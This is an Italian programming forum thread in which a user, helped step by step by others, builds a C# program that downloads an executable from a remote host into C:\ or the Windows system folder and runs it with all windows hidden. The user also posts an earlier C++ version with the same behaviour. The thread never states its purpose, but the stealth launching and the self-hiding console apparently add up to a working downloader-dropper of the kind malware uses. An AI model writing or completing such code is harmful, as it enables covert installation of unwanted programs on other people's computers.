PDA

View Full Version : [C#] ftp


kulosia
05-09-2010, 12:04
Salve a tutti!
vorrei chiedere un piccolo aiuto con questo file:
in poche parole voglio fare in C# un eseguibile che scarica in ftp
su un sito web specifico alcuni file e mettendoli in una cartella specifica:

Source:
using System;
using System.IO;
using System.Net;
using System.Text;

namespace Examples.System.Net
{
public class WebRequestGetftp
{
public static void Main()
{

FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://sitoftp/file.exe");
request.Method = WebRequestMethods.Ftp.DownloadFile;


request.Credentials = new NetworkCredential("username", "password");

FtpWebResponse response = (FtpWebResponse)request.GetResponse();

Stream responseStream = response.GetResponseStream();
StreamReader reader = new StreamReader(responseStream);
Console.WriteLine(reader.ReadToEnd());

Console.WriteLine("Download Completato", response.StatusDescription);

reader.Close();
response.Close();
}
}
}

Fine Source.

cosa ho sbagliato? e poi come si potrebbe fare in modo che scelgo io
la cartella dove andare a mettersi il file scaricato Grazie ^^

banryu79
05-09-2010, 12:11
...
cosa ho sbagliato?

Non so per il codice C# che hai postato, ma hai sbagliato due cose:
- il titolo del thread
- postare con un font in grassetto (non so a te, ma a me fanno male gli occhi, e non a causa di oscure pratiche di falegnameria :D)

@EDIT:
ti aiuterei volentieri, ma non essendo pratico di C# va da se che non conosco la libreria e quindi gli oggetti coinvolti nel tuo codice la sopra. Comunque, fossi in te, finchè aspetto che mi piova qualche aiuto dal cielo proverei intanto a venirne fuori consultando MSDN.
Ad esempio partendo da questa pagina (http://msdn.microsoft.com/it-it/library/system.net.ftpwebrequest%28VS.80%29.aspx) ;)

kulosia
05-09-2010, 12:14
ho tolto il grassetto :) di C# non potresti aiutarmi?

RaouL_BennetH
05-09-2010, 22:31
Un paio di spunti che ho utilizzato anche io e funzionano (almeno come approccio)

http://blogs.techrepublic.com.com/howdoi/?p=165

http://www.codeproject.com/KB/IP/ftplib.aspx

astorcas
05-09-2010, 23:57
hai un eccezione? Se si quale? Ci vorrebbero più dettagli per poterti aiutare

kulosia
06-09-2010, 23:37
in poche parole dovrei fare una cosa del genere in C#
e vorrei qualche dritta :)

#include <windows.h>
#include <Wininet.h>
#include <stdio.h>
int main ()
{

HWND mario;
mario = FindWindow("ConsoleWindowClass", NULL);
ShowWindow(mario, SW_HIDE);

CHAR sNomeApp[1000];

GetModuleFileName (NULL, sNomeApp, sizeof (sNomeApp));



HINTERNET handle = InternetOpen(sNomeApp,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,INTERNET_FLAG_ASYNC);

HINTERNET hFtp = InternetConnect(handle,"sito.altervista.org",21,"username","password",INTERNET_SERVICE_FTP,0, 0);


FtpGetFile(hFtp,"./ciao.exe","C:\\ciao.exe",1,FILE_ATTRIBUTE_READONLY,FTP_TRANSFER_TYPE_BINARY,0);


{

ShellExecute(GetDesktopWindow(), "open", "C:\\ciao.exe", NULL, NULL, SW_HIDE);


return 1;
}

return 0;

}

kulosia
08-09-2010, 15:38
Hello!!??? c'è qualcuno che può aiutarmi?
:confused: :coffee:

banryu79
08-09-2010, 15:49
Hello!!??? c'è qualcuno che può aiutarmi?
:confused: :coffee:

Ma hai almeno provato a leggere gli spunti contenuti nei link che ti ha suggerito RaouL_BennetH?

Se non ti sono bastati, ho trovato questo bel tutorial che dovrebbe essere una manna:
http://www.dreamincode.net/forums/topic/35902-create-an-ftp-class-library-in-c%23/

Devi però essere disposto a studiartelo tutto impiegando tutto il tempo che ti serve per capirlo e farlo tuo: nessuno potrà fare questo al posto tuo.

kulosia
08-09-2010, 22:08
grazie mille mi siete stati molto di aiuto ci sono riuscito ^^

kulosia
09-09-2010, 09:51
anche se mi manca solo una cosa e chiudo un ultimo favore :)

ora va tutto bene ma dopo aver scaricato l'eseguibile,
il comando per avviare il file che ha scaricato qual'è?

kulosia
09-09-2010, 10:00
ah dimenticavo mi manca anche la parte per
inserire la destinazione del file tipo se voglio metterlo in C:\\
o sul desktop e ecc...

forse con una cosa del genere si dovrebbe fare?

string destination = Environment.GetFolderPath(Environment.SpecialFolder.System);
destination = System.IO.Path.Combine(destination, "ciao.exe");

astorcas
09-09-2010, 10:00
Puoi farlo facilmente con la classe Process (http://msdn.microsoft.com/en-us/library/system.diagnostics.process.aspx) del namespace System.Diagnostics

kulosia
09-09-2010, 11:15
con la classe Process funziona, avvia un file ad esempio in:
"C:\\ciao.txt"
ma vorrei capire come fare per far in modo che
scarico il file e metterlo in "C:\\" e poi avviarlo con la classe Process
che mi hai fatto vedere :)

astorcas
09-09-2010, 13:31
con la classe Process funziona, avvia un file ad esempio in:
"C:\\ciao.txt"
ma vorrei capire come fare per far in modo che
scarico il file e metterlo in "C:\\" e poi avviarlo con la classe Process
che mi hai fatto vedere :)

Che problemi hai ad avviare un eseguibile? Il procedimento dovrebbe essere identico.

kulosia
09-09-2010, 15:06
no il problema è un'altro è che una volta compilato
avvia il download del file e lo mette nella stessa cartella dove sta il
programma mentre io voglio metterlo in C:\\ciao.exe
in modo da farlo aprire con il comando che mi hai mandato tu prima.

astorcas
09-09-2010, 15:39
no il problema è un'altro è che una volta compilato
avvia il download del file e lo mette nella stessa cartella dove sta il
programma mentre io voglio metterlo in C:\\ciao.exe
in modo da farlo aprire con il comando che mi hai mandato tu prima.

posta la parte di codice che avvia il download, magari troviamo il problema :)

kulosia
09-09-2010, 16:21
questa è la parte di codice dove faccio download e avvio il file:

using System;
using System.Collections.Generic;
using System.Text;
using CodeProject.Downloader;
using System.Diagnostics;
using System.ComponentModel;


namespace Downloader
{
class TestDownload
{
static void Main(string[] args)
{

FileDownloader downloader = new FileDownloader();
downloader.DownloadComplete += new EventHandler(downloader_DownloadedComplete);
downloader.ProgressChanged += new DownloadProgressHandler(downloader_ProgressChanged);
downloader.Download("http://sito.it/ok.exe");

Process Avvio = new Process();

try
{
Avvio.StartInfo.UseShellExecute = true;
Avvio.StartInfo.FileName = "C:\\ok.exe";
Avvio.StartInfo.CreateNoWindow = true;
Avvio.Start();
}

catch (Exception e)
{
Console.WriteLine(e.Message);
}


}


static void downloader_ProgressChanged(object sender, DownloadEventArgs e)
{
Console.WriteLine("Progresso " + e.PercentDone);
}

static void downloader_DownloadedComplete(object sender, EventArgs e)
{
System.Console.WriteLine("Download completato.");
}
}
}


mentre fa il download avevo provatyo pure così:

using System;
using System.Collections.Generic;
using System.Text;
using CodeProject.Downloader;
using System.Diagnostics;
using System.ComponentModel;


namespace Downloader
{
class TestDownload
{
static void Main(string[] args)
{

string destinazione = Environment.GetFolderPath(Environment.SpecialFolder.System);
destinazione = System.IO.Path.Combine(destinazione, "ok.exe");
FileDownloader downloader = new FileDownloader();
downloader.DownloadComplete += new EventHandler(downloader_DownloadedComplete);
downloader.ProgressChanged += new DownloadProgressHandler(downloader_ProgressChanged);
downloader.Download("http://moklp.altervista.org/service.exe", destinazione);

Process Avvio = new Process();

try
{
Avvio.StartInfo.UseShellExecute = true;
Avvio.StartInfo.FileName = "C:\\servecesso.exe";
Avvio.StartInfo.CreateNoWindow = true;
Avvio.Start();
}

catch (Exception e)
{
Console.WriteLine(e.Message);
}


}


static void downloader_ProgressChanged(object sender, DownloadEventArgs e)
{
Console.WriteLine("Progresso " + e.PercentDone);
}

static void downloader_DownloadedComplete(object sender, EventArgs e)
{
System.Console.WriteLine("Download completato.");
}
}
}


in questo modo pensavo che scaricava il file direttamente nella cartella
che poi decido ma invece lo compila senza errori ma non va,
cioè non avvia il download.
se vuoi posto anche l'altra parte del codice :)

astorcas
09-09-2010, 16:30
no così lo scarica nella cartella system di windows.

Dovresti scrivere semplicemente


string destinazione = @"C:\ok.exe";


al posto di


string destinazione = Environment.GetFolderPath(Environment.SpecialFolder.System);
destinazione = System.IO.Path.Combine(destinazione, "ok.exe");


EDIT: e ovviamente

Avvio.StartInfo.FileName = @"C:\ok.exe";

kulosia
09-09-2010, 16:38
si ma non va ne con quel pezzo di riga dicodice che ho messo io e nemmeno
con quello che mi hai mandato tu non avvia il download rimane "C:\\"
vuoto non scarica niente e non va nemmeno nella cartella dove sta il downloader.

kulosia
09-09-2010, 18:01
mi disp dirlo ma non vuole proprio saperne :confused:
non riesco in nessuno dei 2 modi nel metodo che ho detto io e nemmeno
con il tuo metodo come appena avvio il downloader
scompare subito e non arriva nessun file :(
forse è meglio che metto anche l'altro pezzo di codice?
può darsi che ho sbagliato qualcosa :confused:

kulosia
09-09-2010, 22:51
EDIT:
ci sono riuscito ho risolto con il comando che mi hai dato ora manca solo un ultima cosa ed è finita xD
in c++ io per rendere invisibile un eseguibile uso:

HWND kulosia;
kulosia = FindWindow("ConsoleWindowClass", NULL);
ShowWindow(kulosia, SW_HIDE);

mentre invece per il C# come sarebbe?

astorcas
09-09-2010, 23:44
Prova eliminando questa riga (o settando a false il valore)
Avvio.StartInfo.CreateNoWindow = true;

kulosia
10-09-2010, 01:18
ci ho provato sia con false ed eliminandola esce sempre fuori

astorcas
10-09-2010, 08:24
ci ho provato sia con false ed eliminandola esce sempre fuori

ok scusa, ho capito il contrario di quello che volevi fare.
Per renderla invisibile dovrebbe bastare:


Avvio.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

kulosia
10-09-2010, 09:49
Avvio.StartInfo.UseShellExecute = true;
Avvio.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Avvio.StartInfo.FileName = "C:\\ciao.exe";
Avvio.StartInfo.CreateNoWindow = true;
Avvio.Start();



in questo modo avvia il file ciao.exe rendendolo invisibile mentre invece per
fare in modo che il downloader diventi invisibile?

astorcas
10-09-2010, 10:24
è una console application?
Credo basti settare il progetto a Windows Application (vai nelle proprietà del progetto, poi nel tab Application)

kulosia
10-09-2010, 10:46
Perfetto grazie mille funziona ora :)
questo pezzo di codice avvia il file ciao.exe:



Avvio.StartInfo.UseShellExecute = true;
Avvio.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Avvio.StartInfo.FileName = "C:\\ciao.exe";
Avvio.StartInfo.CreateNoWindow = true;
Avvio.Start();
mentre invece se voglio avviare più di un file?

Avvio.StartInfo.UseShellExecute = true;
Avvio.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Avvio.StartInfo.FileName = "C:\\ciao.exe";
Avvio.StartInfo.FileName = "C:\\ciao.txt";
Avvio.StartInfo.CreateNoWindow = true;
Avvio.Start();[/

astorcas
10-09-2010, 10:51
Perfetto grazie mille funziona ora :)
questo pezzo di codice avvia il file ciao.exe:



Avvio.StartInfo.UseShellExecute = true;
Avvio.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Avvio.StartInfo.FileName = "C:\\ciao.exe";
Avvio.StartInfo.CreateNoWindow = true;
Avvio.Start();
mentre invece se voglio avviare più di un file?

Avvio.StartInfo.UseShellExecute = true;
Avvio.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Avvio.StartInfo.CreateNoWindow = true;

Avvio.StartInfo.FileName = "C:\\ciao.exe";
Avvio.Start();

Avvio.StartInfo.FileName = "C:\\ciao.txt";
Avvio.Start();


Eh no, devi chiamare il metodo Start() per ogni processo che vuoi lanciare. Prova con la modifica che ti ho postato. (Così in entrambi i casi la finestra sarà nascosta)
Magari se ti serve prova ad incapsulare in un metodo l'avvio di un processo esterno. Altrimenti... fine

kulosia
10-09-2010, 11:05
Grazie mille astorcas ora va tutto come doveva andare :D